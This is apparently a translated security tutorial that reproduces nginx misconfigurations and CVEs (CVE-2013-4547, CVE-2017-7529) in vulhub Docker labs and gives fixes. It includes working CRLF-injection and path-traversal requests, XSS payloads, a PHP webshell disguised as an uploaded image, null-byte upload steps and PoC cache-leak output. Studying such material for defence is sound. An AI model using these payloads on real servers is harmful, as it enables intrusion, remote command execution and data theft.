Summary of common vulnerabilities in nginx middleware

1. The concept of middleware vulnerability

Middleware vulnerabilities can be said to be the most easily overlooked vulnerabilities by web administrators. The reason is very simple, because this is not a vulnerability in the application code, but a result of improper configuration or use of the application deployment environment. However, in the process of development and use, there are also some security problems of the official program itself.

We often encounter such a situation when dealing with emergency response incidents. The code of the customer's website is outsourced, that is, a third-party company is responsible for the development, and the deployment may be carried out by the customer's internal operation and maintenance personnel. Leaving aside their emphasis on and understanding of middleware security, just talking about how to deal with vulnerabilities after they are discovered is a mess. The developer shirked that this was not a problem with the code. They followed the security development process (SDL) completely, so it had nothing to do with him; What, just let me install a program and it's ok, how do I know?

When talking about middleware security issues, I think it is necessary to sort out the above relationships and concepts. When I first came into contact with these concepts, my mind was a mess. The concepts of middleware, container, server, webserver and so on felt very similar to each other, but they were different.

1.1 Analysis of the basic concepts of middleware, containers, and servers

Web server:
The web server is used to provide http services, that is, to return information to the client. It can handle the HTTP protocol, respond to requests for static pages or pictures, control page jumps, or entrust dynamic requests to other programs (middleware programs) wait.

Web middleware:
Web middleware is used to provide the connection between system software and application software, so as to facilitate the communication between software components, and it can provide containers for one or more applications.

Web container:
The web container is used to provide an environment for application components (JSP, SERVLET) in it, and is a component of middleware, which implements the analysis of dynamic languages. For example, tomcat can parse jsp because it has a jsp container inside.

Common components:

Web server: IIS, Apache, nginx, tomcat, weblogic, websphere, etc.
Web middleware: apache tomcat, BEA WebLogic, IBM WebSphere, etc.
Web container: JSP container, SERVLET container, ASP container, etc.

Note: web middleware and web server overlap, because web middleware such as tomcat also has the function of web server.

To put it bluntly, web middleware is a program running on the server, and its role is to provide the server with a solution for parsing http or https requests. It acts as a middleman to determine which file the information transmitted by the front end should be handed over to the back end for processing, and returns the result to the front end.

For its manipulation, most of the time we use configuration files to control it in the LINUX environment. This means that certain wrong configurations can lead to some security holes. And as a program, there must be some security loopholes of its own. The above two directions are the basic cognition we should have in researching any middleware vulnerability.

Today, let's take a look at some vulnerabilities that have occurred in nginx. The environment is from the official website of vulhub , which is a docker-based vulnerability environment integration library, which is very helpful for our study.

2. Nginx configuration errors lead to vulnerabilities

#进入目录运行docker环境
cd /root/vulhub-master/nginx/insecure-configuration
docker-compose up -d

As a security vulnerability caused by misconfiguration, its impact is naturally nginx that supports this type of configuration in all versions. I won't go into details below.

$uriCRLF injection vulnerability caused by 2.1

2.1.1 Vulnerability causes

The following two scenarios are very common:

1. User access http://example.com/aabbcc, automatically jump tohttps://example.com/aabbcc
2. User access http://example.com/aabbcc, automatically jump tohttp://www.example.com/aabbcc

The second scenario is mainly to unify the domain names accessed by users, which is more beneficial to SEO optimization.

In the process of jumping, we need to ensure that the page visited by the user remains unchanged, so we need to obtain the file path requested by the user from Nginx. Looking at the Nginx documentation, you can find that there are three variables representing uri:

1. $uri
2. $document_uri
3. $request_uri

To explain, 1 and 2 represent the decoded request path without parameters; 3 represents the complete URI (without decoding).

Misconfiguration:

location / {
    
    
    return 302 https://$host$uri;
}
#因为`$uri`是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

Because the first two writing methods will perform url decoding, once we add the urlcode encoding of the newline character in the request path, we can mix it into the returned data packet to modify the returned data. It is even possible to allow malicious statements to enter the return body to cause more serious XSS attacks.

2.1.2 Utilization method

We send a request with newline encoding during the request:

#请求内容
curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
#测试结果
[root@blackstone insecure-configuration]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Thu, 12 Jan 2023 12:18:16 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/
Set-Cookie: a=1

It can be seen that we have tampered with the returned result, and added a set-cookie information to the returned result.

In other words, wrongly using $urithe request path to obtain the user will cause the information received by the user to be tampered with silently.

We can see another possibility by using burp packet capture: after we send two consecutive newlines \r\n, we can directly modify the return body of the returned message. Inserting js code causes xss.

2.1.3 Modification plan

When obtaining the user's request path, the configuration that appears in the configuration file should be $request_uri, for example:

location / {
    
    
    return 302 https://$host$request_uri;
}

Test results:

#1.编辑配置文件，投放进docker
[root@blackstone configuration]# cat fix1.conf
server {
    
    
        listen 8080;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

        location / {
    
    
                return 302 http://$host:$server_port$request_uri;
        }
}

#2.将配置文件放到特定目录，重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# cp fix1.conf /etc/nginx/conf.d/
root@fa2e43aabeec:/# rm -f /etc/nginx/conf.d/error1.conf 
root@fa2e43aabeec:/etc/nginx/conf.d# nginx -s reload


#3.查看效果，确实可以有效消除CRLF的影响
[root@blackstone ~]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Wed, 08 Feb 2023 18:44:14 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1

2.2 Directory Traversal Vulnerability

2.1.1 Vulnerability causes

This is common when Nginx is used as a reverse proxy. The dynamic part is passed to the backend port by proxy_pass, while the static file needs to be processed by Nginx.

Assuming that static files are stored in the /home/ directory, and the name of the directory in the url is files, then you need to use alias to set the alias of the directory:

location /files {
    
    
    alias /home/;
}

At this point, visit http://example.com/files/readme.txt, you can get /home/readme.txtthe file.

/filesBut we noticed that there is no suffix on the url /, but the alias is set /home/with a suffix /, which /allows us to /home/traverse from the directory to its upper directory:

2.2.2 Utilization methods

http://192.168.2.169:8081/files../

We then obtained an arbitrary file download vulnerability.

2.2.3 Modification plan

In the process of alies configuration, it must be ensured that the matching path after location is consistent with the alias path. Otherwise, such a path traversal vulnerability will be triggered.

2.3 Http Header is covered

2.3.1 Vulnerability causes

As we all know, Nginx configuration files are divided into some configuration blocks such as Server, Location, If, etc., and there is an inclusion relationship, which is similar to programming languages. If some options are configured in the outer layer, they can be inherited to the inner layer.

But the inheritance here also has some features, such as add_header, which will overwrite all the HTTP headers added by add_header in the parent block after configuration in the sub-block , causing some security risks

As shown in the following code, the Server block adds the CSP header:

server {
    
    
    ...
    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

    location = /test1 {
    
    
        rewrite ^(.*)$ /xss.html break;
    }

    location = /test2 {
    
    
        add_header X-Content-Type-Options nosniff;
        rewrite ^(.*)$ /xss.html break;
    }
}

However, the X-Content-Type-Options header is added to the location of /test2, and nginx only loads the header modification information inside the module, which will cause the configuration in the parent block to fail to take effect in /test2 add_header Content-Security-Policy "default-src 'self'";. Therefore, /test2 cannot obtain defense functions here.

2.3.2 Utilization method

Inside the vulnerability environment here, xss vulnerability points are deployed, and the add_header Content-Security-Policy "default-src 'self'";configuration of the header can theoretically prevent XSS attacks. However, due to a configuration error in the /test2 directory here, this configuration does not take effect in this directory. Therefore, XSS can still be used to attack.

#这是转到的JS文件，获取锚点也就是#后面的内容添加到<p>标签内部
window.onload = function() {
    
    
    var m = document.getElementById('m');
    m.innerHTML = location.hash.substr(1);
}

So its exploit code can be written as:

http://192.168.2.169:8082/test2#<script>alert(1)</script>

It can be seen that the new version of the browser has some filtering here, and we use the old version of the browser to test again:

it can be seen that the defense mechanism of /test2 is actually not turned on. However, the xss trigger scheme in the example has been defended by the browser.

2.3.3 Modification plan

When the configuration header information is modified, it is subdivided into the smallest block, so as to ensure that the header configuration of each small block is correct to the greatest extent. Of course, it can also be written to the parent block, but when the sub-block personalizes the header, remember to copy the header configuration in the parent block to the sub-block.

To put it more clearly, it is about the modification operation of the header. Not within the scope of nginx configuration inheritance. Once the sub-block is modified, the final called configuration is only found inside the sub-block.

Modify the configuration file to:

#1.直接在宿主机上修改对应文件也生效(配置文件是从宿柱机链进去的，具体可以看.yml文件)
[root@blackstone configuration]# pwd
/root/vulhub-master/nginx/insecure-configuration/configuration
#2.修改文件
[root@blackstone configuration]# cat error3.conf
server {
    
    
        listen 8082;

        root /usr/share/nginx/html;

        index index.html;

        server_name _;

    autoindex on;

    add_header Content-Security-Policy "default-src 'self'";
    add_header X-Frame-Options DENY;

        location = /test1 {
    
    
                rewrite ^(.*)$ /xss.html break;
        }

    location = /test2 {
    
    
        add_header X-Content-Type-Options nosniff;
        add_header Content-Security-Policy "default-src 'self'";
        add_header X-Frame-Options DENY;
        rewrite ^(.*)$ /xss.html break;
    }
}
#3.进入docker重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# nginx -s reload

Test again:

http://192.168.2.169:8082/test2#<img scr=1 οnerrοr=alert(1)>

2.3.4 About Content Security Policy

Refer to "Content Security Policy Getting Started Tutorial"

"Webpage Security Policy" (Content Security Policy, abbreviated as CSP), the essence of CSP is the whitelist system. The developer clearly tells the client which external resources can be loaded and executed, which is equivalent to providing a whitelist. Its implementation and execution are all done by the browser, and developers only need to provide configuration.

CSP greatly enhances the security of web pages. Even if an attacker discovers a vulnerability, they cannot inject scripts unless they also gain control of a whitelisted, trusted host.

There are two ways to enable CSP. One is through the Content-Security-Policy field of HTTP header information.

#此处表示仅仅信任自己的同源脚本 --- 禁止外部非法资源加载，阻断xss攻击
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

The other is through web page <meta>tags.

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

Restriction type:

script-src: external script
style-src: style sheet
img-src: images
media-src: media files (audio and video)
font-src: font files
object-src: plugins (such as Flash)
child-src: frame
frame- ancestors: embedded external resources (such as, , and)
connect-src: HTTP connection (via XHR, WebSockets, EventSource, etc.)
worker-src: worker script
manifest-src: manifest file
default-src: used to set the above options Defaults.

For more, please move to the original text.

2.4 Nginx Parsing Vulnerability Reappearance

Environment start:

[root@blackstone nginx_parsing_vulnerability]# cd /root/vulhub-master/nginx/nginx_parsing_vulnerability
[root@blackstone nginx_parsing_vulnerability]# docker-compose up -d

2.4.1 Vulnerability causes

This is definitely the worst configuration error I have ever seen. This configuration seems to be intentional, but since the author listed it. Explain that some players have done it.

#php.ini --- 在php.ini中开启路径修复功能
cgi.fix_pathinfo=1

#php-fpm.conf --- 在php-fpm模块中开启了.jpg的php解析
security.limit_extensions = .php .jpg

The combination of the two, when the web page has a file upload function, will 100% cause a file upload vulnerability. It is a high-risk configuration method. For this example, you may need to look at the principle of nginx parsing PHP in 3.1.1.1.

In summary, the cause of the vulnerability is to enable path repair and image suffix name resolution at the same time (or directly configure the resolution to be empty)

2.4.2 Example of utilization

1. Find the location of the uploaded file and upload the malicious file directly

#创建php文件内容如下，更名为attack.jpg
<?php phpinfo();
system($_GET['var']); ?>

Here, uploading in this way will be prohibited. We will add it to the picture and upload it as a picture.

It can be seen that the file has been renamed. At this time, we can use the new name and combine the configuration loopholes to realize illegal php parsing.

2. Test php parsing

#访问url
http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php

You can see the effect of parsing php:

Of course, you can also try to execute the command:

http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php?var=whoami

3. Process analysis

First of all, when the file is uploaded, it avoids the detection of the php file in the form of a picture horse and transmits it to the server.
The next problem to be solved is parsing. We use such a request path:

http://192.168.2.169/uploadfiles/c3d13d4e323f0927a9dadb85ece4aea3.jpg/.php

Because the php suffix request is handed over to the php module for processing, the first request is passed to php-fpm, which allocates php-cgi for php parsing, and finds that the file cannot be found, so the path is adjusted upward again according to the content of php.ini First level, look at the parsing rules of php-fpm ( security.limit_extensions = 空或者有.jpg), the suffix .jpg is in the white list. Parsing is allowed. Then it parses and returns the result of the parsing to the client. Trigger illegal php parsing.

2.4.3 Modification plan

In the actual environment, such unsafe configuration methods must be avoided. Especially for php-fpm configuration files, the file extensions that are determined to be parsed should usually be limited to.php

3. nginx program vulnerability

What we can do for the loopholes in the program itself is to upgrade the version, and keep the program at the latest version at all times, so that it is possible to minimize the risk. The fixes for the following vulnerabilities will not be described in detail.

3.1 Nginx filename logic vulnerability (CVE-2013-4547)

Affected version: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
Environment location: /nginx/CVE-2013-4547

3.1.1 Vulnerability causes

3.1.1.1 The principle of nginx parsing PHP

To understand this vulnerability, we need to roughly figure out how PHP is parsed in nginx. Let's look at a picture first:

Several definitions in the figure:

• CGI: CGI is a protocol that defines the data format passed by Nginx or other Web Servers. The full name is (Common Gateway Interface, CGI). CGI is an independent program that can be written in any language other than WebServer. CGI programs, such as C, Perl, Python, etc.
• FastCGI: FastCGI is a protocol. Its predecessor is CGI, which can be simply understood as an optimized version of CGI, which has more stability and performance.
• PHP-CGI: It is just a PHP interpreter, which can only parse requests and return results, and will not do process management.
• PHP-FPM: The full name is FastCGI Process Manager. You can know by looking at the name. PHP-FPM is the manager of the FastCGI process, but as mentioned earlier, FastCGI is a protocol and not a program, so it manages PHP-CGI, forming a PHP-like -The concept of CGI process pool.
• Wrapper: The letter means wrapping, who is wrapping it? The package is FastCGI. Through the FastCGI interface, after Wrapper receives the request, it will generate a new thread to call the PHP interpreter to process the data.

The process of Nginx calling PHP is relatively complicated, and it takes a lot of time to learn and sort out. Through the schematic diagram and the definition just now, we have a general understanding of how Nginx handles PHP requests. So, how does Nginx know what kind of files to treat as PHP files? It is in the nginx.conf configuration file

location ~ \.php$ {
    
    
    root           html;
    include        fastcgi_params;

    fastcgi_pass   IP:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

The one after the location \.php$means that .phpthe files ending in curly braces are installed and executed, which fastcgi_passis the medium of nginxand php-fpm, and Nginx forwards the request to php-fpm through fastcgi_pass. fastcgi_pass may not be on the same server as Nginx, and they communicate through IP+PORT.

3.1.1.2 Triggering conditions

As a corresponding version of the program, there are certain defects in parsing the URL. We request 1.jpg[0x20][0x00].phpthat this URI can match the regular pattern \.php$and can enter the Location block; but after entering, Nginx却错误地认为请求的文件是1.jpg[0x20]set it to the value of SCRIPT_FILENAME and send it to fastcgi. That is to say, the file name received by the back-end php code during processing is 1.jpg.

At the same time, such a line appears in php-fpmthe configuration file on the server :www.conf

[root@blackstone php-fpm]# cat www.conf
[www]
security.limit_extensions =

Let's take a look at the official suggestions in the original configuration file:

[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
#这一句是重点，在设置解析时，为空则表示允许所有的后缀解析
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5

With the blessing of CVE2013, we can use nginx's error handling for truncated symbols to easily manipulate php files to bypass the detection of php code. Plus the wrong configuration in the php-fpm configuration file. It is possible to upload an illegal webshell or implement RCE.

3.1.2 Example of utilization

1. Access vulnerability points, analyze and exploit ideas

Here is a file upload point, we analyze its source code as follows:

<?php
if (!empty($_FILES)):

// Check for errors
if($_FILES['file_upload']['error'] > 0){
    
    
    die('An error ocurred when uploading.');
}

// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
    
    
    die('File is not uploaded file');
}

//字符过滤防御文件上传漏洞
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
    
    
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    
    
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif

The uploaded files are strictly filtered in the php statement to ensure the security of the uploaded files. But we can use CVE2013 to bypass

2. Create a picture + php picture and add a malicious php statement

<?php phpinfo();
system($_GET['var']); ?>

3. Use burp to capture packets, modify and upload files

At this time, we should pay attention, we need to modify the filename column in the request header to attack.jpg11.php, and then go to the hex interface to modify its content to attack.jpg2000.php.

Tip: If it is inconvenient to find 11, look for "2e 70 68 70" to be sure

Click send, the upload is successful

4. Test normal access to pictures

So handsome~, ahem, it’s obviously normal analysis now, doesn’t it mean that RCE is required, it’s all normal analysis, what about RCE, it doesn’t work. I also had the same doubts at the beginning. After reading the payload below, I suddenly realized.

5. Test payload

attack.jpgContinue to capture this access page, modify the request path to attack.jpg11.php, and modify the upper hex page toattack.jpg2000.php

Modify again:

click send test:

Try to execute a command:

At this point, the reproduction is complete.

6. Principle analysis

First of all, let’s talk about how the file is uploaded. It’s very simple, because when we first uploaded the file, the 0x00 that appeared in the middle is a terminator. When PHP is processing, it only reads here and ends. We can also confirm this on the server:

[root@blackstone uploadfiles]# ll
total 8
-rw-r--r-- 1 33 33 42 Feb  8 17:22 attack.jpg
-rw-r--r-- 1 33 33 42 Feb  8 17:22 attack.jpg

Secondly, it is the most exciting part, how to analyze it. It is only at this point that we use the characteristics of our CVE2013. We request 1.jpg[0x20][0x00].phpthat this URI can match the regular pattern and \.php$can enter the Location block; but after entering, Nginxwe mistakenly think that the requested file is 1.jpg[0x20], so we set it as the value of SCRIPT_FILENAME and send it tofastcgi。

At this time, fastcgi receives this request, and then passes the processing request to php-fpm. When php-fpm sees this request, it compares its own configuration files, and it happens to allow all types of files to be parsed. So a php-cgi is allocated to parse .jpgthe file with this suffix. triggered the tragedy that followed.

security.limit_extensions = nullIn fact, the trigger conditions for this vulnerability are relatively harsh, because it is impossible for normal configuration personnel to configure such a configuration in the PHP-FPM configuration file . This is very dangerous.

3.2 Nginx out-of-bounds read cache vulnerability (CVE-2017-7529)

[root@blackstone CVE-2017-7529]# docker-compose up -d

Affected version: Nginx 0.5.6 ~ 1.13.2

3.2.1 Causes

When Nginx is in the reverse proxy site, it usually caches some files, especially static files. The cached part is stored in a file, and each cached file includes "file header" + "HTTP return header" + "HTTP return package body". If the second request hits the cache file, Nginx will directly return the "HTTP return package body" in the file to the user.

If my request contains the Range header, Nginx will return the content of the specified length according to the start and end positions I specified. And if I construct two negative positions, such as (-600, -9223372036854774591), it is possible to read data in negative positions. If the request hits the cache file again this time, it may be possible to read the "file header" and "HTTP return packet header" in the cache file before the "HTTP return packet body".

To be honest, the harm of such a vulnerability is almost zero, because the cached files are usually their own static files and are not sensitive. But it did cause the user's cache information to leak. It's worth a look.

3.2.2 Exploitation example

[root@blackstone CVE-2017-7529]# python3 poc.py http://192.168.2.169:8080/

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -605-611/612

A@�cb`RY�=�cr�\me"59526062-264"
KEY: http://127.0.0.1:8081/
HTTP/1.1 200 OK
Server: nginx/1.13.2
Date: Thu, 09 Feb 2023 00:27:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 612
Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
Connection: close
ETag: "59526062-264"
Accept-Ranges: bytes

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
    
    
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

--00000000000000000002
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854773979-611/612

You can see that the previous cache file content is indeed seen in the result.

4. Summary

Vulnerabilities in nginx middleware are roughly divided into two categories, one is caused by our mistakes. For example, the CRLF newline parsing vulnerability caused by the wrong use of $uri, the path traversal caused by the inconsistency between the location path and the alies path, the http header header coverage caused by the non-inheritance of the header control statement, and the error caused by both php-fpm and php.ini The php parsing vulnerability. Those are some interesting examples.

Of course, there are nginx program vulnerabilities, such as file name logic vulnerabilities that have appeared. In the case of a misconfiguration of the php-fpm module. Through 00 truncation combined with the .php suffix, the request hits the previously uploaded php image horse while being wrongly handed over to the php module for processing. Finally, it is parsed by the php-fpm module in the form of hitting the whitelist. An illegal parsing of php is triggered.

Finally, we looked at an almost useless out-of-bounds cache vulnerability, using the range field in the request header to enter an appropriate negative number. It allows us to read some previous communication information with the server. Cause some possible static file leaks.

Of course, some loopholes are just ordinary loopholes at this stage. Perhaps in a certain environment, it becomes indispensable again.

Also, don't forget the nginx-host request field bypass vulnerability we did earlier , which is also a very interesting vulnerability.